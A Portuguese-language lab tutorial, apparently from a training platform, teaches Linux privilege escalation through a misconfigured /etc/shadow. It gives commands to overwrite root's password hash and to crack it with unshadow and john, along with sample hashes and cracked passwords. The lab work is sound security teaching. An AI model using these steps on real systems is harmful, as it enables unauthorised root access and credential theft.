Escalar Privilégios Usando o Arquivo /etc/shadow no Linux

Beginner

Introdução

Sistemas Linux dependem dos arquivos /etc/passwd e /etc/shadow para autenticação de usuários e controle de acesso. Se os administradores de sistema configurarem incorretamente as permissões ou o conteúdo desses arquivos, isso pode criar oportunidades para ataques de escalonamento de privilégios. Neste laboratório, você aprenderá como aproveitar o arquivo /etc/shadow para obter privilégios de root em um sistema Linux. Este cenário assume que você já obteve acesso inicial ao shell com poucos privilégios como um usuário regular.

Entenda o Arquivo /etc/shadow

Nesta etapa, você aprenderá sobre a estrutura e o propósito do arquivo /etc/shadow.

O arquivo /etc/shadow armazena senhas criptografadas e informações de configuração relacionadas a senhas para cada conta de usuário. Cada linha no arquivo representa um usuário e contém 9 campos separados por dois pontos:

  1. Nome de usuário (Username)
  2. Hash de senha criptografada (Encrypted password hash)
  3. O número de dias desde a época (1970-01-01) em que a senha foi alterada pela última vez
  4. O número mínimo de dias necessários entre as alterações de senha
  5. O número máximo de dias que a senha é válida
  6. O número de dias antes da expiração da senha para avisar o usuário
  7. O número de dias após a expiração da senha antes que a conta seja desativada
  8. O número de dias desde a época (1970-01-01) em que a conta será desativada
  9. Um campo reservado para uso futuro

Abra um terminal e navegue até o diretório /home/labex/project.

cd /home/labex/project

Vamos verificar a entrada do usuário labex no arquivo /etc/shadow:

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

Observe que usamos sudo para ler o arquivo /etc/shadow. Isso ocorre porque o arquivo só pode ser lido pelo usuário root.

Verifique o conteúdo do arquivo labex_shadow.txt:

cat labex_shadow.txt

Exemplo de saída:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

Esta linha indica:

  • Nome de usuário (Username): labex
  • Hash de senha criptografada (Encrypted password hash): $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • Última alteração de senha: 19818 dias desde a época (1970-01-01)
  • Idade mínima da senha: 0 dias (sem restrição)
  • Idade máxima da senha: 99999 dias (sem expiração)
  • Período de aviso de senha: 7 dias antes da expiração
  • A conta nunca expira

Por padrão, apenas o usuário root pode ler e modificar o arquivo /etc/shadow. No entanto, permissões misconfigured (mal configuradas) podem, às vezes, fornecer oportunidades para escalonamento de privilégios.

Escalar Privilégios com Acesso de Escrita em /etc/shadow

Nesta etapa, você aprenderá como escalar privilégios modificando a senha do root no arquivo /etc/shadow se tiver acesso de escrita a ele.

  1. Primeiro, abra um terminal e navegue até o diretório /home/labex/project:

    cd /home/labex/project
    

    Você encontrará um script chamado env_setup_1.sh no diretório. Execute este script para configurar o ambiente:

    ./env_setup_1.sh
    

    Isso configurará o ambiente e mudará você para o usuário user001, simulando um acesso inicial ao shell com poucos privilégios.

    Navegue até o diretório home do user001:

    cd ~
    
  2. Em seguida, verifique as permissões do arquivo /etc/shadow:

    ls -alh /etc/shadow
    

    Exemplo de saída:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow
    

    Você deve ver que o usuário user001 tem acesso de escrita ao arquivo /etc/shadow devido a uma misconfiguration (má configuração).

  3. Agora, você pode editar o arquivo /etc/shadow e substituir o hash da senha do usuário root por um novo.

    Primeiro, visualize o hash da senha root atual:

    cat /etc/shadow | grep root
    

    Exemplo de saída:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
    

    Para definir uma nova senha (por exemplo, pass123), gere um novo hash de senha usando o utilitário openssl:

    openssl passwd -1 -salt ignite pass123
    

    Exemplo de saída:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
    
  4. Abra o arquivo /etc/shadow em um editor de texto e substitua o hash da senha do usuário root pelo novo.

    nano /etc/shadow
    

    Encontrou o hash da senha do usuário root:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
    

    Substitua o hash da senha pelo novo:

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::
    

    Salve as alterações e saia do editor.

  5. Finalmente, use o comando su root para mudar para o usuário root, inserindo a nova senha pass123 quando solicitado.

    su root
    

Você agora deve ter privilégios de root no sistema.

Escalar Privilégios com Acesso de Leitura em /etc/shadow

Nesta etapa, você aprenderá como escalar privilégios quebrando o hash da senha root se você tiver apenas acesso de leitura ao arquivo /etc/shadow.

Após a última etapa, você deve permanecer no usuário root. Você pode abrir um novo terminal ou usar o comando exit para sair do usuário atual até chegar ao usuário labex.

  1. Quando estiver no usuário labex, navegue até o diretório /home/labex/project:

    cd /home/labex/project
    

    Execute o script env_setup_2.sh para configurar o ambiente:

    ./env_setup_2.sh
    

    Isso configurará um novo ambiente onde o usuário user001 tem acesso de leitura ao arquivo /etc/shadow.

    Navegue até o diretório home do user001:

    cd ~
    
  2. Verifique as permissões do arquivo /etc/shadow:

    ls -alh /etc/shadow
    

    Exemplo de saída:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow
    

    Você deve ver que o usuário user001 tem acesso de leitura ao arquivo /etc/shadow devido a uma misconfiguration (má configuração).

  3. Em seguida, podemos usar a ferramenta john para quebrar o hash da senha do usuário root. Antes de usar john, você precisa combinar o conteúdo dos arquivos /etc/passwd e /etc/shadow usando o comando unshadow:

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
    
  4. Agora, execute john no arquivo shadow_crack.txt para quebrar o hash da senha do usuário root e salve as senhas quebradas em um arquivo:

    john --users=root shadow_crack.txt > cracked_passwords.txt
    

    Verifique o conteúdo do arquivo cracked_passwords.txt para visualizar a senha quebrada:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
    
  5. Finalmente, use o comando su root para mudar para o usuário root, inserindo a senha quebrada study quando solicitado:

    su root
    

Você agora deve ter privilégios de root no sistema.

Resumo

Neste laboratório, você aprendeu sobre a estrutura e o propósito do arquivo /etc/shadow, bem como dois métodos para escalar privilégios aproveitando este arquivo: modificando o hash da senha root com acesso de escrita ou quebrando o hash da senha root com acesso de leitura. Essas técnicas demonstram a importância de configurar corretamente as permissões de arquivo e proteger arquivos sensíveis do sistema em um ambiente Linux.